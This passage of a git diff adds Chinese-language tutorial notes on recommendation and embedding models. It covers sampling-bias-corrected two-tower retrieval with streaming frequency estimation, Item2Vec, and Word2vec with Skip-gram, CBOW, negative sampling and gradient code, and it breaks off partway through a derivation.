+    * 最后一层，得到用户和物品的特征 Embedding 表示后，再进行进行 $l2$ 归一化：
+      $$
+      \begin{aligned}
+      u(x, \theta) \leftarrow u(x, \theta) /\|u(x, \theta)\|_{2}
+      \\
+      v(y, \theta) \leftarrow v(y, \theta) /\|v(y, \theta)\|_{2}
+      
+      \end{aligned}
+      $$
+
+      + 本质上，其实就是将用户和物品的向量内积转换为了余弦相似度。
+
+    * 对于内积的结果，再除以温度参数 $\tau$：
+      $$
+      s(x, y)=\langle u(x, \theta), v(y, \theta)\rangle / \tau
+      $$
+
+      + 论文提到，这样有利于提高预测准确度。
+      + 从实验结果来看，温度参数 $\tau$ 一般小于 $1$，所以感觉就是放大了内积结果。
+
+**上述模型训练过程可以归纳为：**
+
+（1）从实时数据流中采样得到一个 batch 的训练样本。
+
+（2）基于流频估计法，估算物品 $y_i$ 的采样概率 $p_i$ 。
+
+（3）计算损失函数 $L_B$ ，再利用 SGD 方法更新参数。
+
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/%E5%9B%BE%E7%89%87image-20220506211935092.png" alt="image-20220506211935092" style="zoom: 50%;" />
+
+## 流频估计算法
+
+考虑一个随机的数据 batch ，每个 batch 中包含一组物品。现在的问题是如何估计一个 batch 中物品 $y$ 的命中概率。具体方法如下：
+
++ 利用全局步长，将对物品采样频率 $p$  转换为 对 $\delta$ 的估计，其中 $\delta$ 表示连续两次采样物品之间的平均步数。
++ 例如，某物品平均 50 个步后会被采样到，那么采样频率 $p=1/\delta=0.02$  。
+
+**具体的实现方法为：**
+
+1. 建立两个大小为 $H$ 的数组 $A,B$ 。
+
+2. 通过哈希函数 $h(\cdot)$ 可以把每个物品映射为 $[H]$ 范围内的整数。
+
+   + 映射的内容可以是 ID 或者其他的简单特征值。
+
+   + 对于给定的物品 $y$，哈希后的整数记为 $h(y)$，本质上它表示物品 $y$ 在数组中的序号。
+
+3. 数组 $A$ 中存放的 $A[h(y)]$ 表示物品 $y$ 上次被采样的时间， 数组 $B$ 中存放的 $B[h(y)]$ 表示物品 $y$ 的全局步长。
+
+   + 假设在第 $t$ 步时采样到物品 $y$，则 $A[h(y)]$ 和 $B[h(y)]$ 的更新公式为：
+     $$
+     B[h(y)] \leftarrow(1-\alpha) \cdot B[h(y)]+\alpha \cdot(t-A[h(y)])
+     $$
+
+   + 在$B$ 被更新后，将 $t$ 赋值给 $A[h(y)]$ 。
+
+4. 对整个batch数据采样后，取数组 $B$ 中 $B[h(y)]$ 的倒数，作为物品 $y$ 的采样频率，即：
+   $$
+   \hat{p}=1 / B[h(y)]
+   $$
+   
+
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/%E5%9B%BE%E7%89%87image-20220506220529932.png" alt="image-20220506220529932" style="zoom:50%;" />
+
+**从数学理论上证明这种迭代更新的有效性：**
+
+假设物品 $y$ 被采样到的时间间隔序列为 $\Delta=\left\{\Delta_{1}, \ldots, \Delta_{t}\right\}$ 满足独立同分布，这个随机变量的均值为$\delta=E[\Delta]$。对于每一次采样迭代：$\delta_{i}=(1-\alpha) \delta_{i-1}+\alpha \Delta_{i}$，可以证明时间间隔序列的均值和方差满足：
+
+$$
+\begin{aligned}
+& E\left(\delta_{t}\right)-\delta=(1-\alpha)^{t} \delta_{0}-(1-\alpha)^{t-1} \delta
+\\ \\
+& E\left[\left(\delta_{t}-E\left[\delta_{t}\right]\right)^{2}\right] \leq(1-\alpha)^{2 t}\left(\delta_{0}-\delta\right)^{2}+\alpha E\left[\left(\Delta_{1}-\alpha\right)^{2}\right]
+\end{aligned}
+$$
+
+1. **对于均值的证明：**
+   $$
+   \begin{aligned}
+   E\left[\delta_{t}\right] &=(1-\alpha) E\left[\delta_{t-1}\right]+\alpha \delta \\
+   &=(1-\alpha)\left[(1-\alpha) E\left[\delta_{t-2}\right]+\alpha \delta\right]+\alpha \delta \\
+   &=(1-\alpha)^{2} E\left[\delta_{t-2}\right]+\left[(1-\alpha)^{1}+(1-\alpha)^{0}\right] \alpha \delta \\
+   &=(1-\alpha)^{3} E\left[\delta_{t-3}\right]+\left[(1-\alpha)^{2}+(1-\alpha)^{1}+(1-\alpha)^{0}\right] \alpha \delta \\
+   &=\ldots \ldots \\
+   &=(1-\alpha)^{t} \delta_{0}+\left[(1-\alpha)^{t-1}+\ldots+(1-\alpha)^{1}+(1-\alpha)^{0}\right] \alpha \delta \\
+   &=(1-\alpha)^{t} \delta_{0}+\left[1-(1-\alpha)^{t-1}\right] \delta
+   \end{aligned}
+   $$
+
+   + 根据均值公式可以看出：$t \rightarrow \infty \text { 时， }\left|E\left[\delta_{t}\right]-\delta\right| \rightarrow 0  $ 。
+   + 即当采样数据足够多的时候，数组 $B$ (每多少步采样一次)趋于真实采样频率。
+   + 因此递推式合理，且当初始值 $\delta_{0}=\delta /(1-\alpha)$，递推式为无偏估计。
+
+2. **对于方差的证明：**
+   $$
+   \begin{aligned}
+   E\left[\left(\delta_{t}-E\left[\delta_{t}\right]\right)^{2}\right] &=E\left[\left(\delta_{t}-\delta+\delta-E\left[\delta_{t}\right]\right)^{2}\right] \\
+   &=E\left[\left(\delta_{t}-\delta\right)^{2}\right]+2 E\left[\left(\delta_{t}-\delta\right)\left(\delta-E\left[\delta_{t}\right]\right)\right]+\left(\delta-E\left[\delta_{t}\right]\right)^{2} \\
+   &=E\left[\left(\delta_{t}-\delta\right)^{2}\right]-\left(E\left[\delta_{t}\right]-\delta\right)^{2} \\
+   & \leq E\left[\left(\delta_{t}-\delta\right)^{2}\right]
+   \end{aligned}
+   $$
+
+   + 对于 $E\left[\left(\delta_{i}-\delta\right)^{2}\right]$：
+     $$
+     \begin{aligned}
+     E\left[\left(\delta_{i}-\delta\right)^{2}\right] &=E\left[\left((1-\alpha) \delta_{i-1}+\alpha \Delta_{i}-\delta\right)^{2}\right] \\
+     &=E\left[\left((1-\alpha) \delta_{i-1}+\alpha \Delta_{i}-(1-\alpha+\alpha) \delta\right)^{2}\right] \\
+     &=E\left[\left((1-\alpha)\left(\delta_{i-1}-\delta\right)+\alpha\left(\Delta_{i}-\delta\right)\right)^{2}\right] \\
+     &=(1-\alpha)^{2} E\left[\left(\delta_{i-1}-\delta\right)^{2}\right]+\alpha^{2} E\left[\Delta_{i}-\delta\right]^{2}+2 \alpha(1-\alpha) E\left[\left(\delta_{i-1}-\delta\right)\left(\Delta_{i}-\delta\right)\right]
+     \end{aligned}
+     $$
+     
+   + 由于 $\delta_{i-1}$ 和 $\Delta_{i}$ 独立，所以上式最后一项为 0，因此：
+     $$
+     E\left[\left(\delta_{i}-\delta\right)^{2}\right]=(1-\alpha)^{2} E\left[\left(\delta_{i-1}-\delta\right)^{2}\right]+\alpha^{2} E\left[\Delta_{i}-\delta\right]^{2}
+     $$
+   
+   + 与均值的推导类似，可得：
+     $$
+     \begin{aligned}
+     E\left[\left(\delta_{t}-\delta\right)^{2}\right] &=(1-\alpha)^{2 t}\left(\delta_{0}-\delta\right)^{2}+\alpha^{2} \frac{1-(1-\alpha)^{2 t-2}}{1-(1-\alpha)^{2}} E\left[\left(\Delta_{1}-\delta\right)^{2}\right] \\
+     & \leq(1-\alpha)^{2 t}\left(\delta_{0}-\delta\right)^{2}+\alpha E\left[\left(\Delta_{1}-\delta\right)^{2}\right]
+     \end{aligned}
+     $$
+   
+   + 由此可证明：	
+     $$
+     E\left[\left(\delta_{t}-E\left[\delta_{t}\right]\right)^{2}\right] \leq(1-\alpha)^{2 t}\left(\delta_{0}-\delta\right)^{2}+\alpha E\left[\left(\Delta_{1}-\alpha\right)^{2}\right]
+     $$
+
++ 对于方差，上式给了一个估计方差的上界。
+
+## 多重哈希
+
+上述流动采样频率估计算法存在的问题：
+
++ 对于不同的物品，经过哈希函数映射的整数可能相同，这就会导致哈希碰撞的问题。
+
++ 由于哈希碰撞，对导致对物品采样频率过高的估计。
+
+**解决方法：**
+
+* 使用 $m$ 个哈希函数，取 $m$ 个估计值中的最大值来表示物品连续两次被采样到之间的步长。
+
+**具体的算法流程：**
+
+1. 分别建立 $m$ 个大小为 $H$ 的数组 $\{A\}_{i=1}^{m}$，$\{B\}_{i=1}^{m}$，一组对应的独立哈希函数集合 $\{h\}_{i=1}^{m}$ 。
+
+2. 通过哈希函数 $h(\cdot)$ 可以把每个物品映射为 $[H]$ 范围内的整数。对于给定的物品 $y$，哈希后的整数记为$h(y)$
+
+3. 数组 $A_i$ 中存放的 $A_i[h(y)]$ 表示在第 $i$ 个哈希函数中物品 $y$ 上次被采样的时间。数组 $B_i$ 中存放的 $B_i[h(y)]$ 表示在第 $i$ 个哈希函数中物品 $y$ 的全局步长。
+
+4. 假设在第 $t$ 步采样到物品 $y$，分别对 $m$ 个哈希函数对应的 $A[h(y)]$ 和 $B[h(y)]$ 进行更新：
+   $$
+   \begin{aligned}
+   & B_i[h(y)] \leftarrow(1-\alpha) \cdot B_i[h(y)]+\alpha \cdot(t-A_i[h(y)])\\ \\
+   & A_i[h(y)]\leftarrow t
+   \end{aligned}
+   $$
+
+5. 对整个 batch 数据采样后，取 $\{B\}_{i=1}^{m}$ 中最大的 $B[h(y)]$ 的倒数，作为物品 $y$ 的采样频率，即：
+
+$$
+\hat{p}=1 / \max _{i}\left\{B_{i}[h(y)]\right\}
+$$
+
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/%E5%9B%BE%E7%89%87image-20220506223731749.png" alt="image-20220506223731749" style="zoom:50%;" />
+
+
+
+# YouTube 神经召回模型
+
+本文构建的 YouTube 神经检索模型由查询和候选网络组成。下图展示了整体的模型架构。
+
+![image-20220506224501697](https://ryluo.oss-cn-chengdu.aliyuncs.com/%E5%9B%BE%E7%89%87image-20220506224501697.png)
+
+在任何时间点，用户正在观看的视频，即种子视频，都会提供有关用户当前兴趣的强烈信号。因此，本文利用了大量种子视频特征以及用户的观看历史记录。候选塔是为了从候选视频特征中学习而构建的。
+
+* Training Label
+
+  * 视频点击被用作正面标签。对于每次点击，我们都会构建一个 rewards 来反映用户对视频的不同程度的参与。
+  * $r_i$ = 0：观看时间短的点击视频；$r_i$ = 1：表示观看了整个视频。
+* Video Features
+
+  * YouTube 使用的视频特征包括 categorical 特征和 dense 特征。
+
+    * 例如 categorical 特征有 video id 和 channel id 。
+    * 对于 categorical 特征，都会创建一个嵌入层以将每个分类特征映射到一个 Embedding 向量。
+    * 通常 YouTube 要处理两种类别特征。从原文的意思来看，这两类应该是 one-hot 型和 multi-hot 型。
+* User Features
+
+  * 使用**用户观看历史记录**来捕捉 seed video 之外的兴趣。将用户最近观看的 k个视频视为一个词袋（BOW)，然后将它们的 Embedding 平均。
+  * 在查询塔中，最后将用户和历史 seed video 的特征进行融合，并送入输入前馈神经网络。
+* 类别特征的 Embedding 共享
+
+  * 原文：For the same type of IDs, embeddings are shared among the  related features. For example, the same set of video id embeddings is  used for seed, candidate and users past watches. We did experiment  with non-shared embeddings, but did not observe significant model  quality improvement. 
+  * 大致意思就是，对于相同 ID 的类别，他们之间的 Embedding 是共享的。例如对于 seed video，出现的地方包括用户历史观看，以及作为候选物品，故只要视频的 ID 相同，Embedding也是相同的。如果不共享，也没啥提升。
+
+# 参考链接
+
++ [Sampling-bias-corrected neural modeling for large corpus item recommendations | Proceedings of the 13th ACM Conference on Recommender Systems](https://dl.acm.org/doi/abs/10.1145/3298689.3346996)
+
++ [【推荐系统经典论文(九)】谷歌双塔模型 - 知乎 (zhihu.com)](https://zhuanlan.zhihu.com/p/137538147)
+
++ [借Youtube论文，谈谈双塔模型的八大精髓问题 - 知乎 (zhihu.com)](https://zhuanlan.zhihu.com/p/369152684)
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.2/item2vec.md b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.2/item2vec.md
new file mode 100644
index 0000000..472b8e6
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.2/item2vec.md
@@ -0,0 +1,114 @@
+# 前言
+
+在自然语言处理（NLP）领域，谷歌提出的 Word2Vec 模型是学习词向量表示的重要方法。其中，带有负采样（SGNS，Skip-gram with negative sampling）的 Skip-Gram 神经词向量模型在当时被证明是最先进的方法之一。各位读者需要自行了解 Word2Vec 中的 Skip-Gram 模型，本文只会做简单介绍。
+
+在论文 Item2Vec：Neural Item Embedding for Collaborative Filtering 中，作者受到 SGNS 的启发，提出了名为 Item2Vec 的方法来生成物品的向量表示，然后将其用于基于物品的协同过滤。
+
+# 基于负采样的 Skip-Gram 模型
+
+Skip-Gram 模型的思想很简单：给定一个句子  $(w_i)^K_{i=1}$，然后基于中心词来预测它的上下文。目标函数如下：
+$$
+\frac{1}{K} \sum_{i=1}^{K} \sum_{-c \leq j \leq c, j \neq 0} \log p\left(w_{i+j} \mid w_{i}\right)
+$$
+
++ 其中，$c$ 表示上下文的窗口大小；$w_i$ 表示中心词；$w_{i+j}$ 表示上下文。
+
++ 表达式中的概率 $p\left(w_{j} \mid w_{i}\right)$ 的公式为：
+  $$
+  p\left(w_{j} \mid w_{i}\right)=\frac{\exp \left(u_{i}^{T} v_{j}\right)}{\sum_{k \in I_{W}} \exp \left(u_{i}^{T} v_{k}^{T}\right)}
+  $$
+
+  + $u_{i} \in U\left(\subset \mathbb{R}^{m}\right),v_{i} \in V\left(\subset \mathbb{R}^{m}\right)$，分别对应中心和上下文词的 Embedding 特征表示。
+  + 这里的意思是每个单词有2个特征表示，作为中心词 $u_i$ 和上下文 $v_i$ 时的特征表示不一样。
+  + $I_{W} \triangleq\{1, \ldots,|W|\}$  ，$|W|$ 表示语料库中词的数量。
+
+简单来理解一下 Skip-Gram 模型的表达式：
+
++ 对于句子中的某个词 $w_i$，当其作为中心词时，希望尽可能准确预测它的上下文。
++ 我们可以将其转换为多分类问题：
+  + 对于中心词 $w_i$ 预测的上下文 $w_j$，其 $label=1$ ；那么，模型对上下文的概率预测 $p\left(w_{j} \mid w_{i}\right)$  越接近1越好。
+  + 若要 $p\left(w_{j} \mid w_{i}\right)$ 接近1，对于分母项中的 $k\ne j$，其 $\exp \left(u_{i}^{T} v_{k}^{T}\right)$ 越小越好（等价于将其视为了负样本）。
+
+
+注意到分母项，由于需要遍历语料库中所有的单词，从而导致计算成本过高。一种解决办法是基于负采样（NEG）的方式来降低计算复杂度：
+$$
+p\left(w_{j} \mid w_{i}\right)=\sigma\left(u_{i}^{T} v_{j}\right) \prod_{k=1}^{N} \sigma\left(-u_{i}^{T} v_{k}\right)
+$$
+
++ 其中，$\sigma(x)=1/1+exp(-x)$，$N$ 表示负样本的数量。
+
+其它细节：
+
++ 单词 $w$ 作为负样本时，被采样到的概率：
+  $$
+  \frac{[\operatorname{counter}(w)]^{0.75}}{\sum_{u \in \mathcal{W}}[\operatorname{counter}(u)]^{0.75}}
+  $$
+
++ 单词 $w$ 作为中心词时，被丢弃的概率：
+  $$
+  \operatorname{prob}(w)=1-\sqrt{\frac{t}{f(w)}}
+  $$
+  
+
+# Item2Vec模型
+
+Item2Vec 的原理十分十分简单，它是基于 Skip-Gram 模型的物品向量训练方法。但又存在一些区别，如下：
+
++ 词向量的训练是基于句子序列（sequence），但是物品向量的训练是基于物品集合（set）。
++ 因此，物品向量的训练丢弃了空间、时间信息。
+
+Item2Vec 论文假设对于一个集合的物品，它们之间是相似的，与用户购买它们的顺序、时间无关。当然，该假设在其他场景下不一定使用，但是原论文只讨论了该场景下它们实验的有效性。由于忽略了空间信息，原文将共享同一集合的每对物品视为正样本。目标函数如下：
+$$
+\frac{1}{K} \sum_{i=1}^{K} \sum_{j \neq i}^{K} \log p\left(w_{j} \mid w_{i}\right)
+$$
+
++ 对于窗口大小 $K$，由设置的决定。
+
+在 Skip-Gram 模型中，提到过每个单词 $w_i$ 有2个特征表示。在 Item2Vec 中同样如此，论文中是将物品的中心词向量 $u_i$ 作为物品的特征向量。作者还提到了其他两种方式来表示物品向量：
+
++ **add**：$u_i + v_i$
++ **concat**：$\left[u_{i}^{T} v_{i}^{T}\right]^{T}$
+
+原文还补充到，这两种方式有时候会有很好的表现。
+
+# 总结
+
++ Item2Vec 的原理很简单，就是基于 Word2Vec 的 Skip-Gram 模型，并且还丢弃了时间、空间信息。
++ 基于 Item2Vec 得到物品的向量表示后，物品之间的相似度可由二者之间的余弦相似度计算得到。
++ 可以看出，Item2Vec 在计算物品之间相似度时，仍然依赖于不同物品之间的共现。因为，其无法解决物品的冷启动问题。
+  + 一种解决方法：取出与冷启物品类别相同的非冷启物品，将它们向量的均值作为冷启动物品的向量表示。
+
+原论文链接：[[1603.04259\] Item2Vec: Neural Item Embedding for Collaborative Filtering (arxiv.org)](https://arxiv.org/abs/1603.04259)
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.2/word2vec.md b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.2/word2vec.md
new file mode 100644
index 0000000..5ff769b
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.2/word2vec.md
@@ -0,0 +1,341 @@
+# 背景和引入
+在所有的NLP任务中，首先面临的第一个问题是我们该如何表示单词。这种表示将作为inputs输入到特定任务的模型中，如机器翻译，文本分类等典型NLP任务。
+
+## 同义词表达单词
+  一个很容易想到的解决方案是使用同义词来表示一个单词的意义。
+  比如***WordNet***,一个包含同义词（和有“is a”关系的词）的词库。
+
+**导包**
+
+```python
+!pip install --user -U nltk
+```
+
+```python
+!python -m nltk.downloader popular
+```
+
+**如获取"good"的同义词**
+
+```python
+from nltk.corpus import wordnet as wn
+poses = { 'n':'noun', 'v':'verb', 's':'adj (s)', 'a':'adj', 'r':'adv'}
+for synset in wn.synsets("good"):
+  print("{}: {}".format(poses[synset.pos()],", ".join([l.name() for l in synset.lemmas()])))
+```
+
+**如获取与“pandas”有"is a"关系的词**
+
+```python
+panda = wn.synset("panda.n.01")
+hyper = lambda s: s.hypernyms()
+list(panda.closure(hyper))
+```
+
+***WordNet的问题***
+1. 单词与单词之间缺少些微差异的描述。比如“高效”只在某些语境下是"好"的同义词
+2. 丢失一些词的新含义。比如“芜湖”，“蚌埠”等词的新含义
+3. 相对主观
+4. 需要人手动创建和调整
+5. 无法准确计算单词的相似性
+
+## one-hot编码
+在传统NLP中，人们使用one-hot向量（一个向量只有一个值为1，其余的值为0）来表示单词
+如：motel = [0 0 0 0 0 0 0 0 0 0 1 0 0 0 0]   
+如：hotel = [0 0 0 0 0 0 0 1 0 0 0 0 0 0 0]      
+one-hot向量的维度是词汇表的大小（如：500，000）   
+注：上面示例词向量的维度为方便展示所以比较小   
+
+
+**one-hot向量表示单词的问题：**
+1. 这些词向量是***正交向量***，无法通过数学计算（如点积）计算相似性
+2. 依赖WordNet等同义词库建立相似性效果也不好
+
+
+## dense word vectors表达单词
+如果我们可以使用某种方法为每个单词构建一个合适的dense vector，如下图，那么通过点积等数学计算就可以获得单词之间的某种联系
+
+
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片1.png" /> 
+
+
+# Word2vec
+
+## 语言学基础
+首先，我们引入一个上世纪五十年代，一个语言学家的研究成果：**“一个单词的意义由它周围的单词决定”**
+
+“You shall know a word by the company it keeps” (J. R. Firth 1957: 11)
+
+这是现代NLP中一个最为成功的理念。
+
+我们先引入上下文context的概念：当单词 w 出现在文本中时，其**上下文context**是出现在w附近的一组单词（在固定大小的窗口内），如下图
+
+
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片2.png" />
+ 
+
+这些上下文单词context words决定了banking的意义
+
+## Word2vec概述
+
+Word2vec(Mikolov et al. 2013)是一个用来学习dense word vector的算法：
+
+1. 我们使用**大量的文本语料库**
+2. 词汇表中的每个单词都由一个**词向量dense word vector**表示
+3. 遍历文本中的每个位置 t，都有一个**中心词 c（center） 和上下文词 o（“outside”）**，如图1中的banking
+4. 在整个语料库上使用数学方法**最大化单词o在单词c周围出现了这一事实**，从而得到单词表中每一个单词的dense vector
+5. 不断调整词向量dense word vector以达到最好的效果
+
+
+## Skip-gram(SG)
+Word2vec包含两个模型，**Skip-gram与CBOW**。下面，我们先讲**Skip-gram**模型，用此模型详细讲解概述中所提到的内容。
+
+概述中我们提到，我们希望**最大化单词o在单词c周围出现了这一事实**，而我们需要用数学语言表示“单词o在单词c周围出现了”这一事件，如此才能进行词向量的不断调整。
+
+很自然地，我们需要**使用概率工具描述事件的发生**，我们想到用条件概率$P(o|c)$表示“给定中心词c,它的上下文词o在它周围出现了”
+
+下图展示了以“into”为中心词，窗口大小为2的情况下它的上下文词。以及相对应的$P(o|c)$
+
+
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片3.png" /> 
+
+
+我们滑动窗口，再以banking为中心词
+
+
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片4.png"  /> 
+
+
+那么，如果我们在整个语料库上不断地滑动窗口，我们可以得到所有位置的$P(o|c)$，我们希望在所有位置上**最大化单词o在单词c周围出现了这一事实**，由极大似然法，可得：
+
+$$
+max\prod_{c} \prod_{o}P(o|c)
+$$
+
+此式还可以依图3写为：
+
+
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片5.png" /> 
+
+
+加log,加负号，缩放大小可得：
+
+
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片7.png" /> 
+
+
+上式即为**skip-gram的损失函数**，最小化损失函数，就可以得到合适的词向量
+
+
+得到式1后，产生了两个问题：
+
+1. P(o|c)怎么表示？
+
+2. 为何最小化损失函数能够得到良好表示的词向量dense word vector？
+
+
+回答1：我们使用**中心词c和上下文词o的相似性**来计算$P(o|c)$，更具体地，相似性由**词向量的点积**表示：$u_o \cdot v_c$。
+
+使用词向量的点积表示P(o|c)的原因：1.计算简单 2.出现在一起的词向量意义相关，则希望它们相似
+
+又P(o|c)是一个概率，所以我们在整个语料库上使用**softmax**将点积的值映射到概率，如图6
+
+
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片6.png" /> 
+
+
+注：注意到上图，中心词词向量为$v_{c}$,而上下文词词向量为$u_{o}$。也就是说每个词会对应两个词向量，**在词w做中心词时，使用$v_{w}$作为词向量，而在它做上下文词时，使用$u_{w}$作为词向量**。这样做的原因是为了求导等操作时计算上的简便。当整个模型训练完成后，我们既可以使用$v_{w}$作为词w的词向量，也可以使用$u_{w}$作为词w的词向量，亦或是将二者平均。在下一部分的模型结构中，我们将更清楚地看到两个词向量究竟在模型的哪个位置。
+
+
+回答2：由上文所述，$P(o|c)=softmax(u_{o^T} \cdot v_c)$。所以损失函数是关于$u_{o}$和$v_c$的函数，我们通过梯度下降法调整$u_{o}$和$v_c$的值，最小化损失函数，即得到了良好表示的词向量。
+
+
+## Word2vec模型结构
+
+
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片8.png" /> 
+
+
+如图八所示，这是一个输入为1 X V维的one-hot向量（V为整个词汇表的长度，这个向量只有一个1值，其余为0值表示一个词），单隐藏层（**隐藏层的维度为N，这里是一个超参数，这个参数由我们定义，也就是词向量的维度**），输出为1 X V维的softmax层的模型。
+
+$W^{I}$为V X N的参数矩阵，$W^{O}$为N X V的参数矩阵。
+
+模型的输入为1 X V形状的one-hot向量（V为整个词汇表的长度，这个向量只有一个1值，其余为0值表示一个词）。隐藏层的维度为N，这里是一个超参数，这个参数由我们定义，也就是词向量的维度。$W^{I}$为V X N的参数矩阵。
+
+我们这里，考虑Skip-gram算法，输入为中心词c的one-hot表示
+
+由输入层到隐藏层，根据矩阵乘法规则，可知，**$W^{I}$的每一行即为词汇表中的每一个单词的词向量v**,1 X V 的 inputs 乘上 V X N 的$W^{I}$，隐藏层即为1 X N维的$v_{c}$。
+
+而$W^{O}$中的每一列即为词汇表中的每一个单词的词向量u。根据乘法规则，1 X N 的隐藏层乘上N X V的$W^{O}$参数矩阵，得到的1 X V 的输出层的每一个值即为$u_{w^T} \cdot v_c$,加上softmax变化即为$P(w|c)$。
+
+有V个w,其中的P(o|c)即实际样本中的上下文词的概率，为我们最为关注的值。
+
+## CBOW
+
+如上文所述，Skip-gram为给定中心词，预测周围的词，即求P(o|c)，如下图所示：
+
+
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220424105817437.png" /> 
+
+
+而CBOW为给定周围的词，预测中心词，即求P(c|o),如下图所示：
+
+
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片10.png" /> 
+
+
+
+注意：在使用CBOW时，上文所给出的模型结构并没有变，在这里，我们输入多个上下文词o，在隐藏层，**将这多个上下文词经过第一个参数矩阵的计算得到的词向量相加作为隐藏单元的值**。其余均不变，$W^{O}$中的每一列依然为为词汇表中的每一个单词的词向量u。
+
+# 负采样 Negative Sampling
+
+## softmax函数带来的问题
+
+我们再看一眼，通过softmax得到的$P(o|c)$，如图：
+
+
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220424105958191.png" /> 
+
+
+
+可以看到，$P(o|c)$的分母需要在整个单词表上做乘积和exp运算，这无疑是非常消耗计算资源的，Word2vec的作者针对这个问题，做出了改进。
+
+他提出了两种改进的方法：Hierarchical Softmax和Negative Sampling，因为Negative Sampling更加常见，所以我们下面只介绍Negative Sampling，感兴趣的朋友可以在文章下面的参考资料中学习Hierarchical Softmax。
+
+## 负采样Negative Sampling
+
+我们依然以Skip-gram为例（CBOW与之差别不大，感兴趣的朋友们依然可以参阅参考资料）
+
+我们首先给出负采样的损失函数：
+
+
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片12.png" /> 
+
+
+
+其中$\sigma$为sigmoid函数$1/(1+e^{-x})$, $u_{o}$为实际样本中的上下文词的词向量，而$u_{k}$为我们在单词表中随机选出（按一定的规则随机选出，具体可参阅参考资料）的K个单词。
+
+由函数单调性易知，**$u_{o^T} \cdot v_c$越大，损失函数越小，而$u_{k^T} \cdot v_c$越小**，损失函数越大。这与原始的softmax损失函数优化目标一致，即$maxP(o|c)$，而且避免了在整个词汇表上的计算。
+
+# 核心代码与核心推导
+
+## Naive softmax 损失函数
+
+损失函数关于$v_c$的导数：
+
+$$
+\frac{\partial{J_{naive-softmax}(\boldsymbol v_c,o,\boldsymbol U)}}{\partial \boldsymbol  v_c} \\= 
+-\frac{\partial{log(P(O=o|C=c))}}{\partial  \boldsymbol v_c}  \\ =
+-\frac{\partial{log(exp( \boldsymbol u_o^T\boldsymbol v_c))}}{\partial \boldsymbol v_c} + \frac{\partial{log(\sum_{w=1}^{V}exp(\boldsymbol u_w^T\boldsymbol v_c))}}{\partial \boldsymbol v_c} \\=
+-\boldsymbol u_o + \sum_{w=1}^{V} \frac{exp(\boldsymbol u_w^T\boldsymbol v_c)}{\sum_{w=1}^{V}exp(\boldsymbol u_w^T\boldsymbol v_c)}\boldsymbol u_w \\=
+-\boldsymbol u_o+    \sum_{w=1}^{V}P(O=w|C=c)\boldsymbol u_w     \\=
+\boldsymbol U^T(\hat{\boldsymbol y} - \boldsymbol y)
+$$
+
+可以看到涉及整个U矩阵的计算，计算量很大，关于$u_w$的导数读者可自行推导
+
+损失函数及其梯度的求解
+
+来自：https://github.com/lrs1353281004/CS224n_winter2019_notes_and_assignments
+
+```python
+def naiveSoftmaxLossAndGradient(
+    centerWordVec,
+    outsideWordIdx,
+    outsideVectors,
+    dataset
+):
+    """ Naive Softmax loss & gradient function for word2vec models
+
+    Arguments:
+    centerWordVec -- numpy ndarray, center word's embedding
+                    in shape (word vector length, )
+                    (v_c in the pdf handout)
+    outsideWordIdx -- integer, the index of the outside word
+                    (o of u_o in the pdf handout)
+    outsideVectors -- outside vectors is
+                    in shape (num words in vocab, word vector length) 
+                    for all words in vocab (tranpose of U in the pdf handout)
+    dataset -- needed for negative sampling, unused here.
+
+    Return:
+    loss -- naive softmax loss
+    gradCenterVec -- the gradient with respect to the center word vector
+                     in shape (word vector length, )
+                     (dJ / dv_c in the pdf handout)
+    gradOutsideVecs -- the gradient with respect to all the outside word vectors
+                    in shape (num words in vocab, word vector length) 
+                    (dJ / dU)
+    """
+
+    # centerWordVec:  (embedding_dim,1)
+    # outsideVectors: (vocab_size,embedding_dim)
+
+    scores = np.matmul(outsideVectors, centerWordVec)  # size=(vocab_size, 1)
+    probs = softmax(scores)  # size=(vocab, 1)
+
+    loss = -np.log(probs[outsideWordIdx])  # scalar
+
+    dscores = probs.copy()  # size=(vocab, 1)
+    dscores[outsideWordIdx] = dscores[outsideWordIdx] - 1  # dscores=y_hat - y
+    gradCenterVec = np.matmul(outsideVectors, dscores)  # J关于vc的偏导数公式  size=(vocab_size, 1)
+    gradOutsideVecs = np.outer(dscores, centerWordVec)  # J关于u的偏导数公式  size=(vocab_size, embedding_dim)
+
+    return loss, gradCenterVec, gradOutsideVecs
+```
+
+## 负采样损失函数
+
+负采样损失函数关于$v_c$的导数：
+
+$$
+\frac{\partial{J_{neg-sample}(\boldsymbol v_c,o,\boldsymbol    U)}}{\partial\boldsymbol  v_c} \\=
+\frac{\partial (-log(\sigma (\boldsymbol u_o^T\boldsymbol v_c))-\sum_{k=1}^{K} log(\sigma (-\boldsymbol u_k^T\boldsymbol v_c)))}{\partial \boldsymbol v_c} \\=
+-\frac{\sigma(\boldsymbol u_o^T\boldsymbol v_c)(1-\sigma(\boldsymbol u_o^T\boldsymbol v_c))}{\sigma(\boldsymbol u_o^T\boldsymbol v_c)}\frac{\partial \boldsymbol u_o^T\boldsymbol v_c}{\partial \boldsymbol v_c} - 
